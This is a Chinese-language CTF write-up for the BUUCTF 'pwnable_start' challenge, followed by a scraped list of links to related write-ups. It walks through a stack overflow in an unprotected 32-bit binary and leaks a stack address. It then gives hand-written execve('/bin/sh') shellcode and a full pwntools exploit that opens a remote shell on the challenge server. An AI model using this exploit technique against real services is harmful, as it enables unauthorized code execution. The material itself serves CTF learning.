[BUUCTF]PWN——pwnable_start
pwnable_start
步骤:
例行检查,32位程序,什么保护都没开,首先想到的是ret2shellcode的方法
本地试运行一下,看看程序大概的情况
32位ida载入,没法f5,好在汇编不长,看得懂
一开始调用write函数输出了let’s start the ctf,4是write函数的调用号,之后的调用号是3,调用了read函数,我们知道dl这个寄存器是控制输入字符的多少的,也就是所我们可以输入0x3c个字符,也就是执行了
write(1,buf,0x14)
read (0,buf,0x3C)
通过最后的add esp,14h 我们可以知道esp距离ret的地址0x14个字节(内平栈),也就是我们输入的参数buf的大小只有0x14,但是我们读入了0x3c,存在溢出漏洞
- 就跟一开始说的,由于没有开启任何保护,所以使用ret2shellcode的方法,要往栈上写入shellcode,首先要知道栈上的地址
payload=a*0x14+p32(0x8048087)
由于使用的内平栈,没有ebp,覆盖完buf后就是ret,其实看上方的汇编就知道了。
这句payload将程序执行流转到了去执行write函数,此时esp里的值是栈上0x8048087地址里的内容,这样就把栈上的地址给泄露了出来。
看到我们泄露出来了的栈地址,然后看一下esp现在指向的地址,他们中间相差0xd4-0xc0=0x14,我们可以用泄露的地址+0x14来表示之后的esp
- 接着就是写入shellcode,我一开始使用的pwntools自动生成的shellcode,但是失败了,可能是太长了,没有全部写进去,顺便学习了一下写shellcode
起始所谓的shellcode就是去执行execve(‘/bin/sh’,0,0)
,
系统调用执行的话就是int80 (eax,ebx,ecx,edx)
execve的系统调用号是11,所以设置eax=0xb
‘/bin/sh’用16进制表示一下是0x0068732f,0x6e69622f,所以ebx要设置成‘/bin/sh’
接着ecx和edx设置成0即可
shellcode=asm(
“‘
xor ecx,ecx; #ecx设置为0
xor edx,edx; #edx设置为0
push edx; #将edx的值压入栈
push 0x0068732f;
push 0x6e69622f;
mov ebx,esp; #将ebx设置为’/bin/sh‘的16进制
mov eax,oxb; #eax设置为0xb,调用execve
int 0x80
"')
由于小端序的原因,所以写入/bin/sh的时候起始写的是hs/nib/
综上所述,完整exp
from pwn import *
context.log_level="debug"
#p = process('./start')
p=remote('node3.buuoj.cn',26163)
payload = 'A'*0x14 + p32(0x8048087)
p.sendafter("Let's start the CTF:",payload)
#gdb.attach(p,'b * 0x804809c')
stack_addr = u32(p.recv(4))
print 'stack_addr: '+hex(stack_addr)
#gdb.attach(p)
shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov al,0xb;int 0x80')
payload = 'A'*0x14 + p32(stack_addr+0x14)+shellcode
p.send(payload)
p.interactive()
[BUUCTF]PWN——pwnable_start的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- [BUUCTF]PWN——hitcontraining_uaf
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- buuctf pwn wp---part1
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
- [BUUCTF]PWN——pwnable_hacknote
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
- [BUUCTF]PWN——mrctf2020_easyoverflow
mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...
随机推荐
- 生产者消费者模型及Golang简单实现
简介:介绍生产者消费者模型,及go简单实现的demo. 一.生产者消费者模型 生产者消费者模型:某个模块(函数等〉负责产生数据,这些数据由另一个模块来负责处理(此处的模块是广义的,可以是类.函数.协程 ...
- [loj6254]最优卡组
特殊处理$c_{i}=1$的$i$,显然对这些$a_{i,1}$求和即可,以下都假设$c_{i}\ge 2$ 对于每一个$i$,将$a_{i,j}$从大到小排序:接下来,对于所有$i$,按照$a_{i ...
- 🏆【Alibaba中间件技术系列】「RocketMQ技术专题」让我们一起探索一下DefaultMQPushConsumer的实现原理及源码分析
RocketMQ的前提回顾 RocketMQ是一款分布式.队列模型的消息中间件,具有以下特点: 能够保证严格的消息顺序 提供丰富的消息拉取模式 高效的订阅者水平扩展能力 实时的消息订阅机制 亿级消息堆 ...
- 【Tool】IntelliJ 搭建Node.js环境
IntelliJ IDEA 开发 Node.js 2019-07-29 14:12:34 by冲冲 1. 配置插件 在IDEA的 file -> setting -> Plugins, ...
- python网络自动化运维之环境搭建(EVE-NG+pycharm)
参考了很多资料,发现现在很多环境用的都是GNS3加linux下的python,几乎没有是用EVE-NG加上pycharm的教程,EVE的功能如此强大,存在的教程却较少,这里我出一篇教程供使用EVE作为 ...
- SpringCloud升级之路2020.0.x版-45. 实现公共日志记录
本系列代码地址:https://github.com/JoJoTec/spring-cloud-parent 我们这一节在前面实现的带有链路信息的 Publisher 的工厂的基础上,实现公共日志记录 ...
- OI省选算法汇总及学习计划(转)
1.1 基本数据结构 数组(√) 链表(√),双向链表(√) 队列(√),单调队列(√),双端队列(√) 栈(√),单调栈(√) 1.2 中级数据结构 堆(√) 并查集与带权并查集(√) hash 表 ...
- Yet Another Minimization Problem
Yet Another Minimization Problem 一个很显然的决策单调性. 方程是很显然的 $ f_i = \min{f_{j-1} + w(j,i)} $ . 它具有决策单调性,可以 ...
- Excel-数据分列的多种方法实现
2.数据->分列 (数据格式统一的精准分列)<=> 手动快捷键ctrl+E+等待 ("模糊模仿""分列)<=> 用函数实现(精准分列) 用函 ...
- 进程和线程操作系统转载的Mark一下
https://www.cnblogs.com/leisure_chn/p/10393707.html Linux的进程线程及调度 本文为宋宝华<Linux的进程.线程以及调度>学习笔记. ...